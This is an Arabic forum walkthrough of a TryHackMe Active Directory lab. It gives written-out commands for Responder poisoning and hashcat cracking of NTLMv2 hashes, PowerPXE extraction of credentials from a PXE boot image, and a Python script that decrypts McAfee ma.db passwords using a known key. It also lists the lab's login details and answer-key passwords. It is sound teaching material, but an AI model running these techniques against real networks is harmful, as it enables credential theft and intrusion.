قبل حكينا عن الـ NTLM المستخدم بتطبيقات الويب هسا راح نغوص أعمق بكيفية عمل هاد التوثيق من منظور الشبكة وراح نركز على توثيق الـ NetNTLM اللي بستخدمه بروتوكول الـ SMB




بروتوكول الـ Server Message Block ( SMB )

بروتوكول الـ SMB بسمح للعملاء (زي الكمبيوترات) بالتواصل مع السيرفر (زي خوادم الملفات)
بالشبكات اللي بتستخدم Active Directory من مايكروسوفت الـ SMB بتحكم بكل اشي من مشاركة الملفات بين الشبكات ( لغاية إدارة الأجهزة عن بُعد ) حتى إشعار نفد الورق ( اللي بظهرلك لما تحاول تطبع مستند ) الاشعار من الـ SMB

لكن أمان النسخ القديمة من بروتوكول SMB كان غير كافي اكتشفوا ثغرات ممكن تستغل لاسترجاع بيانات الاعتماد أو حتى تنفيذ كود على الأجهزة بالرغم من أن بعض الثغرات تم اصلاحها بالنسخ الأحدث من البروتوكول لكن منظمات كثيره ما بتفرض استخدام النسخ الأحدث عشان الأنظمة القديمة ما بتدعمها

راح نحكي عن نوعين من الـ exploits لمصادقة الـ NetNTLM مع الـ SMB :


1. التحليل غير المباشر Offline Cracking : لانه يمكن اعتراض الـ NTLM Challenges ممكن نستخدم تقنيات اختراق دون ما نتصل بالنت لاستعاده كلمه المرور المرتبطه بـ NTLM Challenges لكن العمليه هاي ابطأ بكثير من كسر الـ NTLM hashes نفسه
2. الهجوم بين العميل والخادم Man-in-the-Middle Attack : ممكن نستخدم جهازنا المزيف لعمل هجوم بين العميل والخادم اللي بوفرلنا جلسه مصادقة نشطه وامكانيه الوصول لخادم الهدف




الـ LLMNR والـ NBT-NS والـ WPAD

هون راح نركز الى الـ authentication اللي بحصل أثناء استخدام الـ SMB بنستخدم أداة Responder لمحاولة اعتراض الـ NTLM Challenges وتحليله بالشبكة عادةً بكون فيه كثير من هاي التحديات وبعض الحلول الأمنية انك تعمل مسح لنطاقات الـ IP كاملة لاسترجاع معلومات من الأجهزة , أحيانًا بسبب سجلات الـ DNS القديمة التحديات هاي ممكن توصل لجهازنا المزيف بدل من الجهاز المقصود

أداة Responder بتسمحلنا بتنفيذ هجمات الـ Man-in-the-Middle عن طريق تسميم الـ Response أثناء الـ NetNTLM authentication ، وبتخدع العميل عشان يكلمك بدل السيرفر الاصلي , بالشبكات الكبيرة البروتوكولات الـ LLMNR والـ NBT-NS والـ WPAD بتسمح للأجهزة بإجراء DNS لوكلي للعثور على الأجهزة على نفس الشبكة المحلية بدلا من تحميل موارد الشبكة مثل خوادم الـ DNS


الـ LLMNR
اول اشي الأجهزة بتحاول تحدد إذا كان الجهاز اللي بدورو عليه على نفس الشبكة المحلية عن طريق إرسال طلبات LLMNR وبشوفو اذا في اي اجهزه بترد

الـ NBT-NS , WPAD
الـ NBT-NS هو البروتوكول السابق لـ LLMNR وطلبات الـ WPAD بتتم للعثور على وكيل للاتصالات HTTP/HTTPS المستقبلية

بما أن هاي البروتوكولات بتعتمد على الطلبات المرسلة على الشبكة المحلية , جهازنا المزيف بتلقى هاي الطلبات
عادة الطلبات هاي تهمل لأنها مش موجهة لجهازنا لكن الـ Responder بتستمع لهاي الطلبات وبترسل استجابات مسمومة بتخبّر الجهاز المرسل أن عنوان الـ IP الخاص بجهازنا مرتبط باسم المضيف المطلوب من خلال تسميم هاي الطلبات
الـ Responder بتحاول تقنع العميل بالاتصال بجهازنا المزيف وبتبدأ باستضافة خوادم متعددة مثل SMB و HTTP و SQL لالتقاط هاي الطلبات واجبارها على المصادقة




اعتراض تحدي NetNTLM

نقطة مهمة الـ Responder بحاول بشكل اساسي انه يفوز بحاله السباق عن طريق تسميم الاتصالات عشان يضمن اعتراض الاتصال وعادةً ما بتسمم الـ authentication challenges على الشبكة المحلية , بما اننا متصلين عن طريق الـ VPN بنقدر نسمم بس اللي على هاي الشبكة عشان هيك عملو عمليه محاكاه لطلب مصادقه بامكاننا نسممه وبشتغل كل 30 دقيقة يعني ممكن نحتاج نستنا قبل ما نعترض الـ NetNTLM challenges ونرد عليه


رغم أن الـ Responder بإمكانه يعترض ويسمم المزيد من طلبات المصادقة عند تشغيلها من جهازنا المزيف المتصل بشبكة LAN

مهم نفهم أنه هاد السلوك ممكن يكون مزعج وملحوظ , بتسميم طلبات المصادقة المحاولات الطبيعية للمصادقة على الشبكة راح تفشل مما يعني أن المستخدمين والخدمات ما رح يتصلوا بالأجهزة والمشاركة التي بدهم اياها خليك واعي لهاد الموضوع لما تستخدم الـ Responder بالتقييم أمني



استخدام Responder

تم تثبيت اداه الـ Responder بالفعل على الـ AttackBox إذا كنت ما بتستخدم الـ AttackBox بتقدر تحملها وتثبتها من هاد الرابط : Responder GitHub

بنشغل الـ Responder على الواجهة المتصلة بالـ VPN :

كود:
sudo responder -I breachad

إذا كنت بتستخدم الـ AttackBox مش كل خدمات الـ Responder بتشتغل لأنه خدمات أخرى ممكن تستخدم نفس المنافذ لكن هاد ما رح يأثر على هاي المهمة

الـ Responder بتستمع لأي طلبات LLMNR أو NBT-NS أو WPAD اللي بتيجي بنترك الـ Responder تشتغل لفترة على الـ LAN الحقيقية بحالتنا راح نحاكي التسميم عن طريق جعل أحد الخوادم يحاول المصادقة على أجهزة الـ VPN
بنترك الـ Responder تعمل شوية (حوالي 10 دقائق ممكن تأخذ استراحة ! ) وراح تستقبل اتصال SMBv2 اللي Responder بتستخدمه لجذب واستخراج استجابة الـ NTLMv2-SSP


بظهر اشي مثل هاد :

كود:
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash     : <Service Account Username>::ZA:<NTLMv2-SSP Hash>


إذا كنا بنستخدم جهازنا بنشغل الـ Responder لفترة أطول وبنجمع response بعد ما نجمع عدد كافي بنبدأ بتحليل الـ response عشان نتوقع كلمات المرور اللي مرتبطة فيها
1721471539631.webp

1721471557600.webp
إذا كانت الحسابات فيها كلمات مرور ضعيفة بكون عننا فرصة منيحه نكسرها بننسخ الهاش NTLMv2-SSP وبنحطه بملف نصي بنستخدم قائمة كلمات المرور المقدمة بملفات التحدي لـ Hashcat لمحاولة كسر الهاش باستخدام الأمر التالي :

قائمة كلمات المرور
بتنزلها من هون
كود:
hashcat -m 5600 <hash file> <password file> --force

1721471607447.webp


ملف كلمات المرور متاح لك على AttackBox في المكان هاد /root/Rooms/BreachingAD/task5/ بنستخدم نوع الهاش 5600 اللي بتوافق مع NTLMv2-SSP بـ Hashcat

relay attack

نقل الـ Challenge
ببعض الأحيان ممكن نأخذ الأمر خطوة أبعد بمحاولة نقل الـ Challenge بدال ما نعترضه مباشرة هاد أصعب شوي بدون معرفة مسبقة بالحسابات

لأن الهجوم هاد بعتمد على أذونات الحساب المرتبط بنحتاج لبعض الشروط عشان يكون الموضوع لصالحنا :


1. لازم يكون الـ SMB Signing إما معطل أو مفعل ولكن غير مفروض لانه لما نيجي نعمل نقل بنعمل تغييرات بسيطه بالطلب عشان ننقله إذا كان الـ SMB Signing مفعل ما بنقدر نزيف الـ signature يعني السيرفر راح يرفضها
2. لازم يكون للحساب اللي مرتبط أذونات اللي بتلزمه على السيرفر عشان يوصل للموارد المطلوبة
3. بما أننا تقنيًا ما عننا اي دخول بالـ Active Directory بتطلب الموضوع تخمين عن الحسابات اللي بتمتلك أذونات على الأجهزة , لكن إذا اخترقنا الـ Active Directory بالفعل بنعمل عملية الـ enumeration
عشان هيك الـ blind relays مش شائع
دائما أفضل أولاً اختراق الـ Active Directory باستخدام طريقة ثانيه بعدها بنجري enumeration عشان نحدد الامتيازات المرتبطة بالحساب اللي اخترقته , من هون بإمكانك عاده إجراء حركة عشان ترفع صلاحياتك عبر الـ domain


ومع هيك لازم يكون عندك فهم أساسي عن كيفيه عمل الهجوم relay attack كما هو موضح بالرسم البياني :


6baba3537d36d0fa78c6f61cf1386f6f.png




إذا بدك تجرب هاد النوع من الهجمات بالواقع شوف الروم Holo وراح نحكي عنها بالبارتات التاليه ان شاء الله



What is the name of the tool we can use to poison and capture authentication requests on the network?
Responder
What is the username associated with the challenge that was captured?
svcFileCopy
What is the value of the cracked password associated with the challenge that was captured?
FPassword1!




الـ Microsoft Deployment Toolkit

أدوات نشر مايكروسوفت

الشركات الكبيرة بتحتاج أدوات لإدارة البنية التحتية ما بنفع موظفين الـ IT يروحو ويثبتو برامج على كل الاجهزه باستخدام أقراص الـ DVD أو حتى USB
مايكروسوفت عندها أدوات لإدارة هاي الأمور لكن بنقدر نستغل بعض الأخطاء بهاي الأدوات لاختراق الـ Active Directory



الـ MDT و SCCM

الـ Microsoft Deployment Toolkit هي خدمة من مايكروسوفت بتساعد بنشر أنظمة التشغيل اللي من مايكروسوفت
الشركات الكبيرة بتستخدم خدمات مثل الـ MDT لتوزيع الأنظمة بشكل أسرع لأنه بتقدر تحتفظ فيها وتحدثها بمكان مركزي

عادةً يتم دمج الـ MDT مع System Center Configuration Manager من مايكروسوفت اللي بدير كل التحديثات لكل التطبيقات والخدمات وأنظمة التشغيل من مايكروسوفت
الـ MDT يستخدم للـ deployments بخلي فريق الـ IT يجهز ويعدل الـ boot images بسهولة يعني لو بدهم يجهزو جهاز جديد بس بوصلو كابل الشبكة وكل اشيء بصير تلقائيً بقدرو يثبتو برامج مثل Office365 و مكافحة الفيروسات الخاصة بالشركة بالـ boot images وبضمن أنه التنزيل يكون محدث من أول تشغيل



الـ SCCM يعتبر توسعة وأخ أكبر للـ MDT

بيجي على بالنا سؤال شو بصير للبرامج بعد ما تتثبت؟
الـ SCCM بعمل التحديثات للبرامج المثبتة بالبنية التحتية , بخلي فريق الـ IT يراجع التحديثات ويختبرها ببيئة تجريبية قبل ما يثبتوها على كل الأجهزة المرتبطة بالدومين هاد الموضوع هاد بسهل حياة فريق الـ IT بشكل كبير

لكن أي اشي بوفر إدارة مركزية للبنية التحتية مثل MDT و SCCM ممكن يكون هدف للهجمات من المخترقين عشان يسيطرو على الوظائف الحيوية بالبنية التحتية مع أنه الـ MDT ممكن ينظبط بطرق مختلفة هون بنركز على طريقة الـ Preboot Execution Environment (PXE) للـ boot


الـ PXE Boot

الشركات الكبيرة بتستخدم الـ PXE Boot عشان تسمح للأجهزة الجديدة المتصلة بالشبكة تحمل وتثبت النظام مباشرة عن طريق الشبكة , الـ MDT يستخدم لإنشاء وإدارة واستضافة صور PXE Boot
الـ PXE Boot بتكامل عادة مع الـ DHCP يعني إذا الـ DHCP بعطي الجهاز عنوان IP الجهاز بقدر يطلب صورة PXE Boot ويبدأ عملية التثبيت عبر الشبكة

بعد ما تبدأ العملية الجهاز بستخدم اتصال TFTP لتحميل صورة الـ PXE Boot


8117a18103e98ee2ccda91fc87c63606.png


بنقدر نستغل الـ PXE Boot بطريقتين :
  1. ممكن نضيف حساب Local Administrator داخل صورة الـ PXE Boot يعني بعد ما يكتمل تحميل وتشغيل النظام الحساب هاد بكون موجود بالجهاز
  2. بنقدر نسحب كلمات المرور لاستخراج Active Directory credentials المستخدمة أثناء التثبيت
هون راح نركز على استخراج الـ credentials خدمة النشر المرتبطة بخدمة الـ MDT أثناء التثبيت وأيضًا ممكن نستخرج حسابات Active Directory ثانيه مستخدمة بالتثبيت التلقائي للتطبيقات والخدمات


استخراج صورة الـ PXE Boot

بما أن الـ DHCP مزعج شوي راح نتخطى جزء طلب عنوان الـ IP وتفاصيل الـ PXE Boot من DHCP بنمل باقي الهجوم يدوي من هاي الخطوة


أول معلومة بتحتاجها من الـ DHCP هي IP سيرفر الـ MDT بتقدر تستخرجها من مخطط الشبكة للتحدي TryHackMe

1721723520190.webp

ثاني معلومة هي أسماء ملفات الـ BCD هاي الملفات بتخزن معلومات الـ PXE Boot لأنواع architecture مختلفة

عشان نستخرج هاي المعلومات بنفوت على موقع pxeboot.za.tryhackme.com بنلاقي عدة ملفات BCD


1721803511445.webp

عادة بنستخدم الـ TFTP لطلب كل ملفات الـ BCD وتعداد تكوينها

لكن عشان نختصر وقت بنركز على ملف الـ BCD للهندسة x64


1721893008535.webp

بننسخ الاسم وبنخزنه عننا , خلينا نسميه الـ placeholder
كود:
x64{841DFEEF-A140-4431-A20E-F16A499C73A4}.bcd

الملفات وأسمائها بتجدد يوميًا بالـ MDT

كل مرة بتشوف هاد الـ placeholder تذكر تستبدله باسم ملف الـ BCD الخاص فيك بالتحدي لاحظ كمان إذا الشبكة هسا بدأت أسماء الملفات بتتجدد بعد 10 دقائق من نشاط الشبكة

الآن بعد ما عرفنا المعلومات الأولية من الـ DHCP بنقدر نعد ونسترجع صورة الـ PXE Boot

بنستخدم اتصال SSH على THMJMP1 للخطوات القادمة بنسجل دخول لهاد الاتصال باستخدام :


Screenshot 2024-07-24 095602.webp

ssh [email protected]
الـ Password هي : Password1@


لبدء الجميع بالشبكة باستخدام SSH

بننشئ مجلد وبندخل عليه وبننسخ مستودع powerpxe للمجلد عن طريق امر :
كود:
copy c:\powerpxe\* .

الخطوة الأولى هي نستخدم الـ TFTP لتحميل ملف الـ BCD وقراءة تكوين سيرفر الـ MDT , الـ TFTP أصعب شوي من الـ FTP لأنه ما بنقدر ندرج الملفات , بدال ما نعمل هيك بنقدر نرسل طلب ملف والسيرفر بتصل علينا عن طريق الـ UDP لنقل الملف ولازم نكون دقيقين لما نحدد الملفات والمسارات

ملفات الـ BCD دائمًا بتكون بمجلد الـ Tmp على سيرفر الـ MDT

بنقدر نبدأ نقل عن طريق بروتوكول الـ TFTP باستخدام الأمر التالي :


كود:
tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd


عشان نعرف الـ IP الخاص بـ THMMDT بنستخدم امر nslookup thmmdt.za.tryhackme.com او من الخريطه للشبكه اللي معنا بالتحدي

1721886100453.webp

بعد ما نسترجع ملف الـ BCD بنستخدم الـ powerpxe لقراءة محتوياته


1721893000397.webp

1721892975498.webp




الـ powerpxe هو سكريبت PowerShell بعمل هاد النوع هجمات تلقائيه لكن عادة بنتائج متفاوتة عشان هيك افضل نعملها يدوي , بنستخدم دالة Get-WimFile من powerpxe لاسترجاع مواقع الـ PXE Boot من ملف الـ BCD عن طريق الاوامر :
كود:
powershell -executionpolicy bypass
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile

1721893077711.webp

سبب استخدامنا لدالة Get-WimFile

ملفات الـ Wim هي Image قابلة للإقلاع بتنسيق Windows Imaging Format (WIM)
الآن بعد ما حصلنا على موقع الـ PXE Boot بنقدر مرة ثانية نستخدم الـ TFTP لتحميل الـ Image عن طريق الامر :

كود:
tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim

هاد التحميل باخذ وقت لأنه بنحمل صورة ويندوز قابلة للإقلاع وكاملة ممكن تستغل الوقت وتاخذ استراحة.

1721893184873.webp

1721893644783.webp


استخراج بيانات الاعتماد من صورة PXE Boot

الآن بعد ما استرجعنا الـ PXE Boot بنقدر نستخرج بيانات الاعتماد المخزنة ( الـ credentials )

وفي هجمات كثيرة بنقدر ننفذها بنقدر نضيف مستخدم local administrator عشان نحصل على وصول إداري بعد ما الـ Image تشتغل أو نثبت الـ Image عشان يكون عننا جهاز مرتبط بالدومين

لو مهتم تعرف أكثر عن هاي الهجمات بتقدر تشوف هاد المقال article هاد التمرين بركز على هجوم بسيط لاستخراج الـ credentials

مرة ثانية بنستخدم الـ powerpxe عشان نستخرج الـ credentials لكن بتقدر تعملها يدويًا عن طريق استخراج الـ Image والبحث عن ملف الـ bootstrap.ini حيث عادةً تُخزن هاي البيانات

لاستخدام powerpxe لاستخراج بيانات الاعتماد من ملف bootstrap بنستخدم الامر التالي :

كود:
Get-FindCredentials -WimFile pxeboot.wim

بنخليه يحمل شوي لثواني

1721893705005.webp


وهيك صار عنا المعلومات

1721893751397.webp

هيك بنكون استخرجنا Active Directory credentials وبنقدر نستخدمها طبعا!


1721899052368.webp

ما هي أداة Microsoft المستخدمة لإنشاء واستضافة صور PXE Boot في المؤسسات؟
Microsoft Deployment Toolkit
ما هو بروتوكول الشبكة المستخدم لاستعادة الملفات من خادم MDT ؟
TFTP
ما هو اسم المستخدم المرتبط بالحساب الذي تم تخزينه في صورة تمهيد PXE ؟
svcMDT
ما هي كلمة المرور المرتبطة بالحساب الذي تم تخزينه في صورة تمهيد PXE ؟
PXEBootSecure1@




الـ Configuration Files

آخر اشي راح احكي عنو في هاد الموضوع هو ملفات التكوين

خلينا نفترض أنك كنت محظوظ وتتسببت بخرق او وصلتك معلومه سمحتلك توصل إلى مضيف على شبكة المنظمة. في هذه الحالة، فإن

ملفات التكوين هي طريق ممتاز لاستكشافه ومحاولة استعادة Active Directory credentials بناءً على الـ host اللي تم اختراقه ممكن تكون ملفات التكوين مختلفة والها قيمة للـ enumeration :

  • ملفات تكوين تطبيقات الويب
  • ملفات تكوين الخدمات
  • مفاتيح السجل (Registry keys)
  • التطبيقات المنتشرة مركزيًا
يمكن استخدام عدة سكربتات للـ enumeration مثل Seatbelt لعمل هذه المهمه تلقائي

ملفات التكوين الـ credentials

راح نركز على استعادة الـ credentials من النقطة الرابعة اللي ذكرناها فوق

عادةً بتحتاج التطبيقات هاي لطريقة للمصادقة على الـ domain خلال المرحلتين التثبيت والتنفيذ

مثال على هاي التطبيقات هو McAfee Enterprise Endpoint Security اللي ممكن تستخدمه المؤسسات كأداة للكشف والاستجابة للأمان على النقاط النهائية ( endpoint detection )

الـ McAfee بضمن الـ credentials المستخدمة أثناء التثبيت للاتصال بالـ orchestrator بملف يسمى ma.db

بإمكاننا نسترد ملف قاعده البيانات هاد وقراءته من خلال local access للـ host لاستعادة حساب Active Directory service

بنستخدم الـ SSH على THMJMP1 مرة ثانيه لهاد التحدي


ssh [email protected]
الـ Password هي : Password1@


يتم تخزين ملف ma.db في موقع ثابت :
كود:
C:\ProgramData\McAfee\Agent\DB

Screenshot 2024-07-25 122024.webp



بإمكاننا نستخدم الامر عشان ننسخ الملف على جهازنا عن طريق الامر :
كود:
scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .


1721899476067.webp

بعدها عشان نقرأ ملف قاعدة البيانات بنستخدم اداه sqlitebrowser باستخدام الأمر :

كود:
sqlitebrowser ma.db


1721899548387.webp



بنختار خيار Browse Data وبنركز على جدول AGENT_REPOSITORIES :

1721899775008.webp

جدول الـ AGENT_REPOSITORIES

بنركز على السطر الثاني وبنخزن بعض المعلومات المهمه زي DOMAIN و AUTH_USER و AUTH_PASSWD وزي ما هو ظاهر يتم تشفير حقل الـ AUTH_PASSWD

لحسن الحظ بتشفر الـ McAfee كلمات المرور بمفتاح معروف وهيك بنستخدم سكربت الخاص بـ Python2 لفك تشفير كلمة المرور

هاد هو رابط السكريبت


اذا كنت بتشتغل على AttackBox بتلاقي السكريبت بهاد المسار /root/Rooms/BreachingAD/task7/

Screenshot 2024-07-25 123625.webp

ملاحظة:

الأداة اللي بنستخدمها قديمة بتستخدم Python v2 وبتعتمد على مكتبة تشفير قديمة

ف هاد هو السكريبت مع تعديل حتى يشتغل بدون اي مشاكل

كود:
import base64
from Crypto.Cipher import DES3
from Crypto.Hash import SHA1


KEY = bytes.fromhex("12150F10111C1A060A1F1B1817160519")

def sitelist_xor(xs):
    return bytes([c ^ KEY[i % 16] for i, c in enumerate(xs)])

def des3_ecb_decrypt(data):

    sha1_key = SHA1.new(b'<!@#$%^>').digest() + b"\x00\x00\x00\x00"
    des3 = DES3.new(sha1_key, DES3.MODE_ECB)
    decrypted = des3.decrypt(data)

    return decrypted.split(b'\x00', 1)[0] or b"<empty>"

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("Usage:   %s <base64 passwd>" % sys.argv[0])
        print("Example: %s 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='" % sys.argv[0])
        sys.exit(0)


    encrypted_password = base64.b64decode(sys.argv[1])

    xor_decrypted = sitelist_xor(encrypted_password)
    password = des3_ecb_decrypt(xor_decrypted)

    print("Crypted password   : %s" % sys.argv[1])
    print("Decrypted password : %s" % password.decode())

    sys.exit(0)

1721902690299.webp





الآن عندنا مجموعة من الـ Active Directory credentials بإمكاننا نستخدمها لمزيد من الـ enumeration

هاد مثال على استعاده credentials من ملفات التكوين ...




ما نوع الملفات التي تحتوي غالبًا على بيانات الاعتماد المخزنة على الأجهزة المضيفة؟
Configuration Files

ما اسم قاعدة بيانات McAfee التي تخزن التكوين بما في ذلك بيانات الاعتماد المستخدمة للاتصال بالـ orchestrator ؟
ma.db

ما الجدول في قاعدة البيانات هذه الذي يخزن بيانات اعتماد الـ orchestrator ؟
AGENT_REPOSITORIES

ما هو اسم المستخدم لحساب AD المرتبط بخدمة McAfee؟
svcAV

ما هي كلمة المرور لحساب AD المرتبط بخدمة McAfee؟
MyStrongPassword!


1721903556642.webp
 

المرفقات

  • 1719916646899.webp
    1719916646899.webp
    51.9 KB · المشاهدات: 153
  • 1720002550085.webp
    1720002550085.webp
    6.3 KB · المشاهدات: 144
  • 1720002600278.webp
    1720002600278.webp
    5.7 KB · المشاهدات: 144
  • 1720039092648.webp
    1720039092648.webp
    34.2 KB · المشاهدات: 141
  • 1720039124383.webp
    1720039124383.webp
    25.9 KB · المشاهدات: 147
  • 1720039193414.webp
    1720039193414.webp
    38.8 KB · المشاهدات: 142
  • 1720039536268.webp
    1720039536268.webp
    83.7 KB · المشاهدات: 861
  • 1720040002410.webp
    1720040002410.webp
    15 KB · المشاهدات: 145
  • passwordsprayer-1647011410194.zip
    passwordsprayer-1647011410194.zip
    1.4 KB · المشاهدات: 2,065
  • 1721333777393.webp
    1721333777393.webp
    96.3 KB · المشاهدات: 148
  • 1721803785937.webp
    1721803785937.webp
    6.5 KB · المشاهدات: 147
  • mcafee-sitelist-pwd-decryption-1649686607913.zip
    mcafee-sitelist-pwd-decryption-1649686607913.zip
    1.9 KB · المشاهدات: 1,698
التعديل الأخير بواسطة المشرف:
دائما تبهرنا بعملك يا عبود
بارك الله فيك ونفع بك
ننتظر الجزء الثاني يا هندسة
 
دائما تبهرنا بعملك يا عبود
بارك الله فيك ونفع بك
ننتظر الجزء الثاني يا هندسة

ويبارك فيك يارب 🫡

باذن الله في ثاني وثالث كمان 😍
 
عبود يا مجرم !
بارك الله فيك ياوحش وجزاك الله كل خير
ننتظر جديدك بالجزء الثاني والثالث :D

تقبل مروري
 
ما شاء الله عبود

يا نيال طلاب السايبر
 
عبود يا مجرم !
بارك الله فيك ياوحش وجزاك الله كل خير
ننتظر جديدك بالجزء الثاني والثالث :D

تقبل مروري
يسعدكك يارب 🥰
 

الـ Active Directory يستخدم من قبل حوالي 90% من الشركات الكبيرة حول العالم. إذا كانت الشركة بتستخدم نظام تشغيل Windows من مايكروسوفت ف محتمل جدًا أنها بتستخدم الـ Active Directory , الـ Active Directory من مايكروسوفت هي المجموعة الأساسية لإدارة شبكات الدومين بالـ Windows ولأنها تُستخدم لإدارة الهوية والوصول فهي اكيد هدف رئيسي للمهاجمين وهو ببساطه ببسط اداره الاجهزه والمستخدمين داخل الشركه او نحكي الشبكه

وكمان راح نشرح بهاد الدرس طريق يمكن استخدامها لاختراق الـ AD ونقدر نحصل على الـ credentials وطبعا بإمكاننا نستخدم هاي الطرق اما اننا نستهدف انظمه الشركة اللي متصله بالنت او نزرع جهاز مخترق بالشبكة


راح نركز على الامور هاي بهاد الروم


1. ما هو الـ Windows Domains
2. ما هو الـ Active Directory
3. إدارة المستخدمين بالـ Active Directory
4. إدارة الاجهزة بالـ Active Directory
5. تنظيم الـ Group Policies بالـ Active Directory
6. طرق الـ Authentication بالـ Active Directory
7. اداره الـ Treesو Forests بالـ Active Directory
8. مقدمة عن اختراق الـ Active Directory
9. تقنيات اختراق الـ Active Directory
10. مراحل الـ Authentication الـ LLMNR و NBT-NS و WPAD
11. الـ Microsoft Deployment Toolkit
12. الـ Configuration Files




ما هو الـ Windows Domains

تخيل انك بتدير شركه صغيره بتحتوي على 5 اجهزه و 5 موظفين بس بالحاله هاي بتعمل الاعدادات لكل جهاز على حدى بشكل بسيط وبتنشأ حساب لكل جهاز واذا تعطل جهاز او اعداد بتروح وبتصلحه لكن المشكله اذا توسع شغلك او كنت مسؤول عن 200 جهاز و 300 موظف هل راح تقدر تدير كل هاي الاجهزه والاعدادات والمستخدمين واحد واحد لا طبعا

حل هاي المشكله هو الـ
Windows Domains ببساطة هو مجموعة من المستخدمين وأجهزة الكمبيوتر تحت إدارة عمل معين.
الفكرة الأساسية هي تجميع إدارة مكونات شبكة الكمبيوتر بمكان واحد اسمه Active Directory (AD) والخادم يدير خدمات الـ Active Directory هو الـ Domain Controller (DC)


Windows Domain Overview

مزايا الـ Windows Domains

  1. إدارة الهوية المركزية : بأمكانك إعداد جميع المستخدمين على الشبكة بسهولة من خلال الـ Active Directory
  2. إدارة سياسات الأمان : بأمكانك تضبط سياسات الأمان مباشرة من الـ Active Directory وتطبيقها على المستخدمين وأجهزة الكمبيوتر حسب الحاجة.

مثال واقعي

اذا تعاملت قبل مع الـ Windows Domains بمدرستك أو بجامعتك أو بعملك بتحصل عادة على اسم مستخدم وكلمة مرور بامكانك تستخدمهم على أي جهاز كمبيوتر متاح بالمكان بتكون هاي البيانات صالحة على جميع الأجهزة لأن عملية التحقق تتم عبر الـ Active Directory, بفضل الـ Active Directory ما بتحتاج تكون بياناتك موجوده على كل الاجهزه

وايضا الـ Active Directory بأمكانه يقييد وصولك لبعض الأجزاء من النظام مثل لوحة التحكم على أجهزة مدرستك أو جامعتك



عننا مثال بنفترض دور مسؤول تكنولوجيا المعلومات الجديد بشركة THM Inc

طُلب منا مراجعة النطاق الحالي THM.local وإجراء بعض التعديلات

بالمثال راح نحصل على بيانات دخول إدارية على خادم Domain Controller مسبق التكوين لأداء المهام

لتبدأ المثال بنضغط على زر Start Machine لفتح الجهاز بمتصفحك إذا كنت تفضل الاتصال عبر RDP استخدم البيانات التالية :

  • اسم المستخدم: Administrator
  • كلمة المرور: Password321

ملاحظة: عند الاتصال عبر RDP استخدم THM\Administrator لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم Administrator في نطاق THM
طبعا عشان نتصل عن طريق الـ RDP بنشغل الـ vpn اللي من TryHackMe عشان نتصل على الشبكه الخاصه فيهم وبنشغل المشين وبعدها بنفتح على ويندوز الـ Remote Desktop Connection وبنحط الـ ip وبنعمل conn





ما هو الـ Active Directory


الـ Active Directory هو نظام أساسي مهم في أي شبكة Windows بقدّم خدمات تسمى AD | DS وهي تخزن معلومات كل الـ objects الموجودة بالشبكة مثل المستخدمين والمجموعات والأجهزة والطابعات وغيرها

نستعرض بعضها:


المستخدمين

المستخدمين هم من أكثر أنواع الـ objects شيوعًا بالـ Active Directory , المستخدمين هم أحد الـ objects المعروفة باسم security principals ، يعني يمكن التحقق من هويتهم بواسطة الدومين ويمكن تخصيص صلاحيات لهم على الموارد مثل الملفات أو الطابعات بأمكانك تحكي أن الـ security principal هو object بأمكانه يشتغل او يعمل على الموارد بالشبكة
المستخدمين : الأشخاص اللي بدخلوا على الشبكة وممكن يكونوا :
  • الأشخاص : مثل الموظفين اللي بحتاجوا يوصلو للشبكة
  • الخدمات : مثل IIS أو MSSQL وهاي بتحتاج لحساب مستخدم خاص فيها عشان تشتغل

الأجهزة


الأجهزة هي نوع آخر من الـ objects داخل الـ Active Directory لكل كمبيوتر بنضم لدومين الـ Active Directory يتم إنشاء object له
الأجهزة تعتبر أيضًا security principal ويتم تخصيص حساب الها تمامًا مثل أي مستخدم عادي هاد الحساب اله حقوق محدودة إلى حد ما داخل الدومين نفسه

  • الأجهزة: لكل جهاز بنضم للشبكة يُنشأ له حساب خاص بالـ Active Directory هاي الحسابات بتكون مشابهة لحسابات المستخدمين ولكن بقدرات محدودة عادة غير ممكن لاي أحد يدخل لحسابات الأجهزة ( يعني حساب المسؤول ) إلا من الجهاز نفسه لكن إذا كان عندك كلمة المرور بإمكانك الدخول

حسابات الأجهزة نفسها هي مسؤولي النظام المحليين على الكمبيوتر المعين بشكل عام لا يُفترض أن يتم الوصول إليها من قبل أي شخص باستثناء الكمبيوتر نفسه، ولكن كما هو الحال مع أي حساب آخر، إذا كان لديك كلمة المرور، يمكنك استخدامها لتسجيل الدخول.

ملاحظة: يتم تدوير كلمات مرور حسابات الأجهزة تلقائيًا وتتكون عادة من 120 حرفًا عشوائيًا. يمكن التعرف على حسابات الأجهزة بسهولة لانها بتتبع نمط تسمية معين , اسم حساب الجهاز هو اسم الكمبيوتر متبوعًا بعلامة الدولار مثلا جهاز اسمه DC01 بكون عنده حساب يسمى DC01$

إذا كنت بتعرف Windows منيح بتعرف أنه بإمكانك تعمل تعريف لمجموعات المستخدمين لتخصيص حقوق الوصول لـ الملفات أو الموارد الأخرى لمجموعات كاملة بدلاً من مستخدمين منفردين. هاد بسمح بإدارة أفضل حيث بإمكانك تضيف المستخدمين إلى مجموعة موجودة وبرثو تلقائيً جميع حقوق المجموعة , مجموعات الأمان تعتبر أيضًا
security principals ، ولذلك يمكن أن تكون لها صلاحيات على الموارد بالشبكة.
يمكن أن تضم المجموعات كل من المستخدمين والأجهزة كأعضاء. إذا لزم الأمر، يمكن أن تضم المجموعات مجموعات أخرى أيضًا.
يتم إنشاء عدة مجموعات بشكل افتراضي في الدومين يمكن استخدامها لمنح صلاحيات محددة للمستخدمين. على سبيل المثال، هنا بعض من أهم المجموعات بالدومين :


مجموعة الأمانالوصف
الـ Domain Adminsالمستخدمون بالمجموعة هاي عندهم صلاحيات إدارية على كامل الدومين. افتراضيًا، يمكنهم إدارة أي كمبيوتر في الدومين، بما في ذلك أجهزة التحكم في الدومين (DCs).
